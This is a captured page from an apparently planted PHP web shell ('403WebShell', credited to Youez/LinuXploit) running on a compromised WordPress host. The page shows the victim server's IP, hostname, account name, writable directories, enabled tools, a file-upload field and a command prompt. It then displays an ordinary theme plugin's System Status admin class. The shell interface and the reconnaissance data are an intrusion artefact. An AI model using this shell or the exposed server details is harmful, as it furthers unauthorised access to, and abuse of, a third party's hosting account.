Done ! 403WebShell
403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/TF89388/wp-content/plugins/noisa-toolkit/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/TF89388/wp-content/plugins/noisa-toolkit/includes/class-admin.php
<?php
/**
 * Rascals Admin Pages
 *
 * Show Admin Pages
 *
 * @author Rascals Themes
 * @category Core
 * @package Noisa Toolkit
 * @version 1.0.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class RascalsAdminPages {

	/*
	Private variables
	 */
	private $theme_required = array(
		'PHP_VERSION'         => '5.6',
		'WP_VERSION'          => '4.0.0',
		'WP_MEMORY_LIMIT'     => '40M',
		'SERVER_MEMORY_LIMIT' => '96M',
		'SERVER_TIME_LIMIT'   => 300,
		'MAX_INPUT_VARS'      => 1000,
	);


	/*
	Public variables
	 */
	public $admin_pages = array();

	/**
	 * Rascals CPT Constructor.
	 * @return void
	 */
	public function __construct() {
		add_action( 'init', array( $this, 'init' ) );
	}

	/**
	 * Initialize class
	 * @return void
	 */
	public function init() {

		// Set admin pages
		$pages = array(
			array(
				'title' => esc_html__( 'Welcome', 'noisa-toolkit' ),
				'title_attr' => esc_html__( 'Welcome', 'noisa-toolkit' ),
				'id' => 'admin-welcome'
			),
			array(
				'title' => esc_html__( 'System Status', 'noisa-toolkit' ),
				'title_attr' => esc_html__( 'System Status', 'noisa-toolkit' ),
				'id' => 'admin-system'
			),
			array(
				'title' => esc_html__( 'Theme Plugins', 'noisa-toolkit' ),
				'title_attr' => esc_html__( 'Theme Plugins', 'noisa-toolkit' ),
				'id' => 'admin-plugins'
			),
			array(
				'title' => esc_html__( 'Install Demos', 'noisa-toolkit' ),
				'title_attr' => esc_html__( 'Install Demos', 'noisa-toolkit' ),
				'id' => 'admin-demos'
			),
			array(
				'title' => esc_html__( 'Customize', 'noisa-toolkit' ),
				'title_attr' => esc_html__( 'Customize', 'noisa-toolkit' ),
				'id' => 'customize.php'
			),
			array(
				'title' => esc_html__( 'Theme Panel', 'noisa-toolkit' ),
				'title_attr' => esc_html__( 'Theme Panel', 'noisa-toolkit' ),
				'id' => 'theme-panel'
			)

		);

		if ( ! class_exists( 'Kirki' ) ) {
			$pages[4]['id'] = 'inactive';
			$pages[4]['title_attr'] = esc_html__( 'Please install Kirki Customizer plugin to activate this tab.', 'noisa-toolkit' );
		}

		$this->admin_pages = $pages;

		// Change admin menu
		add_filter( 'rascals_admin_menu', array( $this, 'changeAdminMenu' ) );


		/* Call method to create the sidebar menu items */
		add_action( 'admin_menu', array( $this, 'addAdminMenu' ) );
		
	}


	/**
	 * Create the sidebar menu
	 * @return void
	 */
	public function addAdminMenu() {

		add_theme_page( esc_html__( 'System Status', 'noisa-toolkit' ), esc_html__( 'System Status', 'noisa-toolkit' ), 'edit_theme_options', 'admin-system', array( $this, 'adminPageSystem' ) );

	}


	/**
	 * Change admin menu
	 * @return array
	 */
	public function changeAdminMenu( $pages ) {

		$pages = $this->admin_pages;

		return $pages;
	
	}


	/**
	 * Render admin menu
	 * @version 1.1
	 * @return void
	 */
	public function renderAdminMenu() {

		$pages = $this->admin_pages;
		$page_link = 'admin.php?page=';

		$theme = wp_get_theme();
	?>

	<h3 class="rascals-theme-name"><?php echo esc_html( $theme->get( 'Name' ) ); ?><span class="rascals-version"> v <?php echo esc_html( $theme->get( 'Version' ) ); ?></span></h3>

	<div class="wrap about-wrap rascals-admin-header">
	    <h2 class="nav-tab-wrapper"> 
			<?php
			foreach ( $pages as $mp_page ) {
			    $extra_classes = '';

			    $title_attr = $mp_page['title_attr']; 

		        /* Redirect */ 
		        if ( $mp_page['id'] === 'inactive' ) {
		        	$page_link = '#';
		        	$extra_classes .= ' inactive';
		        } elseif ( strpos( $mp_page['id'], '.php' ) !== false ) {
		        	$page_link = $mp_page['id'];
		        } else {
		        	$page_link = 'admin.php?page=' . esc_attr( $mp_page['id'] );
		        }
		        
		        if ( isset( $_GET['page'] ) && ( $_GET['page'] === $mp_page['id'] ) ) { 
		        	$extra_classes .= ' nav-tab-active';
		        }

		        ?>	
		        <a href="<?php echo esc_url( $page_link ) ?>" title="<?php echo esc_attr( $title_attr ) ?>" class="nav-tab rascals-nav-tab <?php echo esc_attr( $extra_classes ); ?> "><?php echo esc_html( $mp_page['title'] ) ?></a>
		        <?php
		    }
		    ?>
		</h2>
	</div>
    <?php

	}


	/**
	 * Admin page that shows system status 
	 * @return void
	 */
	public function adminPageSystem() {

		// Render admin menu
		$this->renderAdminMenu(); 
		
	?>
		<div class="rascals-admin-wrap system-wrap">

		    <div class="feature-section clear">
		        <p><?php esc_html_e( 'Check that all the requirements below.', 'noisa-toolkit' ) ?></p>
		    </div>

		    <?php 
		    /* ==================================================
		       WordPress environment
		    ================================================== */
		     ?>
		    <table class="widefat rascals-system" cellspacing="0">

		        <thead>
		            <tr>
		                <th colspan="3"><h2><?php esc_html_e( 'WordPress environment', 'noisa-toolkit' ) ?></h2></th>
		            </tr>
		        </thead>
		        <tbody>

		            <tr>
		                <?php

		                /* ==================================================
		                   WP Version
		                ================================================== */
		                $wp_version = get_bloginfo( 'version' );
		                $req_wp_version = $this->theme_required['WP_VERSION'];
		                $check = ( version_compare( $wp_version, $req_wp_version, '>=' ) );
		                $error_msg = ( ! $check ) ? ' - ' . esc_html__( 'It is recommended to update WordPress to the latest version', 'noisa-toolkit' ) : '';
		                ?>
		                <td class="label">
		                    <?php 
		                    /* Label
		                     -------------------------------- */
		                    esc_html_e( 'WordPress version', 'noisa-toolkit' ); ?> 
		                </td>

		                <td class="help">
		                    <?php 
		                    /* Help 
		                     -------------------------------- */ ?>
		                    <a class="help-tip" title="<?php esc_html_e( 'The version of WordPress installed on your site.', 'noisa-toolkit' ); ?>"  target="_blank"><span class="dashicons dashicons-editor-help"></span></a>
		                </td>

		                <td class="status <?php echo ( esc_attr($check) ) ? 'good' : 'bad'; ?>">
		                    <?php 
		                    /* Status
		                     -------------------------------- */
		                    echo ( esc_attr($check) ) ? '<span class="dashicons dashicons-yes"></span>' : '<span class="dashicons dashicons-no"></span>'; ?>

		                    <?php 
		                    /* Status Info
		                     -------------------------------- */
		                    echo esc_attr( $wp_version . $error_msg ); ?>

		                </td>
		                <?php unset( $check, $error_msg ) ?>
		            </tr>

		            <tr>
		                <?php

		                /* ==================================================
		                   WP Memory Limit
		                ================================================== */
		                $wp_memory_limit = WP_MEMORY_LIMIT;
		                $req_wp_memory_limit = $this->theme_required['WP_MEMORY_LIMIT'];
		                $check = ( wp_convert_hr_to_bytes( $wp_memory_limit ) >= wp_convert_hr_to_bytes( $req_wp_memory_limit ) );
		                $error_msg = ( ! $check ) ? ' - ' . sprintf( __( 'It is recommended to increase your WP memory limit to %s at least', 'noisa-toolkit' ), $this->theme_required['WP_MEMORY_LIMIT'] ) : '';
		                ?>
		                <td class="label">
		                    <?php 
		                    /* Label
		                     -------------------------------- */
		                    esc_html_e( 'WP Memory Limit', 'noisa-toolkit' ); ?> 
		                </td>

		                <td class="help">
		                    <?php 
		                    /* Help 
		                     -------------------------------- */ ?>
		                    <a class="help-tip" title="<?php esc_html_e( 'The maximum amount of memory (RAM) that your site can use at one time.', 'noisa-toolkit' ); ?>"  href="https://codex.wordpress.org/Editing_wp-config.php#Increasing_memory_allocated_to_PHP" target="_blank"><span class="dashicons dashicons-editor-help"></span></a>
		                </td>

		                <td class="status <?php echo ( esc_attr($check) ) ? 'good' : 'bad'; ?>">
		                    <?php 
		                    /* Status
		                     -------------------------------- */
		                    echo ( esc_attr($check) ) ? '<span class="dashicons dashicons-yes"></span>' : '<span class="dashicons dashicons-no"></span>'; ?>

		                    <?php 
		                    
		                    /* Status Info
		                     -------------------------------- */
		                    echo esc_attr( $wp_memory_limit . $error_msg ); ?>

		                </td>
		                <?php unset( $check, $error_msg ) ?>
		            </tr>
		        </tbody>
		    </table>

		    <?php 
		    /* ==================================================
		       Server environment
		    ================================================== */
		     ?>
		    <table class="widefat rascals-system" cellspacing="0">
		        
		        <thead>
		            <tr>
		                <th colspan="3"><h2><?php esc_html_e( 'Server environment', 'noisa-toolkit' ) ?></h2></th>
		            </tr>
		        </thead>
		        <tbody>

		            <tr>
		                <?php

		                /* ==================================================
		                   PHP Version
		                ================================================== */
		                $php_version = phpversion();
		                $req_wp_version = $this->theme_required['PHP_VERSION'];
		                if ( version_compare( $php_version, '5.6', '<' ) ) {
		                     $error_msg =  ' - ' . esc_html__( 'The theme needs at least PHP 7 installed on your server.', 'noisa-toolkit' );
		                     $check = false;
		                } elseif ( version_compare( $php_version, '7.2', '<' ) ) {
		                    $error_msg = ' - ' . esc_html__( 'We recommend using PHP version 7.2 or above for greater performance and security.', 'noisa-toolkit' );
		                    $check = true;
		                } else {
		                    $check = true;
		                    $error_msg = '';
		                }

		                ?>
		                <td class="label">
		                    <?php 
		                    /* Label
		                     -------------------------------- */
		                    esc_html_e( 'PHP Version', 'noisa-toolkit' ); ?> 
		                </td>

		                <td class="help">
		                    <?php 
		                    /* Help 
		                     -------------------------------- */ ?>
		                    <a class="help-tip" title="<?php esc_html_e( 'The version of PHP installed on your hosting server.', 'noisa-toolkit' ); ?>"  target="_blank"><span class="dashicons dashicons-editor-help"></span></a>
		                </td>

		                <td class="status <?php echo ( esc_attr($check) ) ? 'good' : 'bad'; ?>">
		                    <?php 
		                    /* Status
		                     -------------------------------- */
		                    echo ( esc_attr($check) ) ? '<span class="dashicons dashicons-yes"></span>' : '<span class="dashicons dashicons-no"></span>'; ?>

		                    <?php 
		                    /* Status Info
		                     -------------------------------- */
		                    echo esc_attr( $php_version . $error_msg  ); ?>

		                </td>
		                <?php unset( $check, $error_msg ) ?>
		            </tr>

		            <tr>
		                <?php

		                /* ==================================================
		                   Max Input Vars
		                ================================================== */
		                $max_input_vars = @ini_get( 'max_input_vars' );
		                $req_max_input_vars = $this->theme_required['MAX_INPUT_VARS'];
		                $check = ( wp_convert_hr_to_bytes( $max_input_vars ) >= wp_convert_hr_to_bytes( $req_max_input_vars ) );
		                $error_msg = ( ! $check ) ? ' - ' . sprintf( __( 'It is recommended to increase your max_input_var value to %s at least', 'noisa-toolkit' ), $this->theme_required['MAX_INPUT_VARS'] ) : '';
		                ?>
		                <td class="label">
		                    <?php 
		                    /* Label
		                     -------------------------------- */
		                    esc_html_e( 'Max Input Vars', 'noisa-toolkit' ); ?> 
		                </td>

		                <td class="help">
		                    <?php 
		                    /* Help 
		                     -------------------------------- */ ?>
		                    <a class="help-tip" title="<?php esc_html_e( 'The maximum amount of variable your server can use for a single function.', 'noisa-toolkit' ); ?>"   target="_blank"><span class="dashicons dashicons-editor-help"></span></a>
		                </td>

		                <td class="status <?php echo ( esc_attr($check) ) ? 'good' : 'bad'; ?>">
		                    <?php 
		                    /* Status
		                     -------------------------------- */
		                    echo ( esc_attr($check) ) ? '<span class="dashicons dashicons-yes"></span>' : '<span class="dashicons dashicons-no"></span>'; ?>

		                    <?php 
		                    /* Status Info
		                     -------------------------------- */
		                    echo esc_attr( $max_input_vars . $error_msg ); ?>

		                </td>
		                <?php unset( $check, $error_msg ) ?>
		            </tr>

		            <tr>
		                <?php

		                /* ==================================================
		                   PHP Time Limit
		                ================================================== */
		                $max_input_vars = @ini_get( 'max_execution_time' );
		                $req_max_input_vars = $this->theme_required['SERVER_TIME_LIMIT'];
		                $check = ( wp_convert_hr_to_bytes( $max_input_vars ) >= wp_convert_hr_to_bytes( $req_max_input_vars ) );
		                $error_msg = ( ! $check ) ? ' - ' . sprintf( __( 'It is recommended to increase your max_execution_time value to %s at least', 'noisa-toolkit' ), $this->theme_required['SERVER_TIME_LIMIT'] ) : '';
		                ?>
		                <td class="label">
		                    <?php 
		                    /* Label
		                     -------------------------------- */
		                    esc_html_e( 'PHP Time Limit', 'noisa-toolkit' ); ?> 
		                </td>

		                <td class="help">
		                    <?php 
		                    /* Help 
		                     -------------------------------- */ ?>
		                    <a class="help-tip" title="<?php esc_html_e( 'The amount of time (in seconds) that your site will spend on a single operation before timing out (to avoid server lockups).', 'noisa-toolkit' ); ?>"   target="_blank"><span class="dashicons dashicons-editor-help"></span></a>
		                </td>

		                <td class="status <?php echo ( esc_attr($check) ) ? 'good' : 'bad'; ?>">
		                    <?php 
		                    /* Status
		                     -------------------------------- */
		                    echo ( esc_attr($check) ) ? '<span class="dashicons dashicons-yes"></span>' : '<span class="dashicons dashicons-no"></span>'; ?>

		                    <?php 
		                    /* Status Info
		                     -------------------------------- */
		                    echo esc_attr( $max_input_vars . $error_msg ); ?>

		                </td>
		                <?php unset( $check, $error_msg ) ?>
		            </tr>

		            <tr>
		                <?php

		                /* ==================================================
		                   PHP Post Max Size
		                ================================================== */
		                $post_max_size = size_format( wp_convert_hr_to_bytes( @ini_get( 'post_max_size' ) ) );
		             
		                ?>
		                <td class="label">
		                    <?php 
		                    /* Label
		                     -------------------------------- */
		                    esc_html_e( 'PHP Post Max Size', 'noisa-toolkit' ); ?> 
		                </td>

		                <td class="help">
		                    <?php 
		                    /* Help 
		                     -------------------------------- */ ?>
		                    <a class="help-tip" title="<?php esc_html_e( 'The largest filesize that can be contained in one post.', 'noisa-toolkit' ); ?>"   target="_blank"><span class="dashicons dashicons-editor-help"></span></a>
		                </td>

		                <td class="status good">
		                    <?php 
		                    /* Status
		                     -------------------------------- */
		                    echo '<span class="dashicons dashicons-yes"></span>'; ?>

		                    <?php 
		                    /* Status Info
		                     -------------------------------- */
		                    echo esc_attr( $post_max_size ); ?>

		                </td>
		                <?php unset( $check, $error_msg ) ?>
		            </tr>

		            <tr>
		                <?php

		                /* ==================================================
		                   Server Memory Limit
		                ================================================== */
		                $server_memory_limit = @ini_get( 'memory_limit' );
		                $req_server_memory_limit = $this->theme_required['SERVER_MEMORY_LIMIT'];
		                $check = ( wp_convert_hr_to_bytes( $server_memory_limit ) >= wp_convert_hr_to_bytes( $req_server_memory_limit ) );
		                $error_msg = ( ! $check ) ? ' - ' . sprintf( __( 'It is recommended to increase your server memory limit to %s at least', 'noisa-toolkit' ), $this->theme_required['SERVER_MEMORY_LIMIT'] ) : '';
		                ?>
		                <td class="label">
		                    <?php 
		                    /* Label
		                     -------------------------------- */
		                    esc_html_e( 'Server Memory Limit', 'noisa-toolkit' ); ?> 
		                </td>

		                <td class="help">
		                    <?php 
		                    /* Help 
		                     -------------------------------- */ ?>
		                    <a class="help-tip" title="<?php esc_html_e( 'The maximum amount of memory (RAM) that your server can use at one time.', 'noisa-toolkit' ); ?>"  target="_blank"><span class="dashicons dashicons-editor-help"></span></a>
		                </td>

		                <td class="status <?php echo ( esc_attr($check) ) ? 'good' : 'bad'; ?>">
		                    <?php 
		                    /* Status
		                     -------------------------------- */
		                    echo ( esc_attr($check) ) ? '<span class="dashicons dashicons-yes"></span>' : '<span class="dashicons dashicons-no"></span>'; ?>

		                    <?php 
		                    /* Status Info
		                     -------------------------------- */
		                    echo esc_attr( $server_memory_limit . $error_msg ); ?>

		                </td>
		                <?php unset( $check, $error_msg ) ?>
		            </tr>

		            <tr>
		                <?php

		                /* ==================================================
		                  Max Upload Size
		                ================================================== */
		                $wp_max_upload_size = size_format( wp_max_upload_size() );
		             
		                ?>
		                <td class="label">
		                    <?php 
		                    /* Label
		                     -------------------------------- */
		                    esc_html_e( 'Max Upload Size', 'noisa-toolkit' ); ?> 
		                </td>

		                <td class="help">
		                    <?php 
		                    /* Help 
		                     -------------------------------- */ ?>
		                    <a class="help-tip" title="<?php esc_html_e( 'The largest filesize that can be uploaded to your WordPress installation.', 'noisa-toolkit' ); ?>"   target="_blank"><span class="dashicons dashicons-editor-help"></span></a>
		                </td>

		                <td class="status good">
		                    <?php 
		                    /* Status
		                     -------------------------------- */
		                    echo '<span class="dashicons dashicons-yes"></span>'; ?>

		                    <?php 
		                    /* Status Info
		                     -------------------------------- */
		                    echo esc_attr( $wp_max_upload_size ); ?>

		                </td>
		                <?php unset( $check, $error_msg ) ?>
		            </tr>
		        </tbody>
		    </table>
		</div>
	<?php

	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit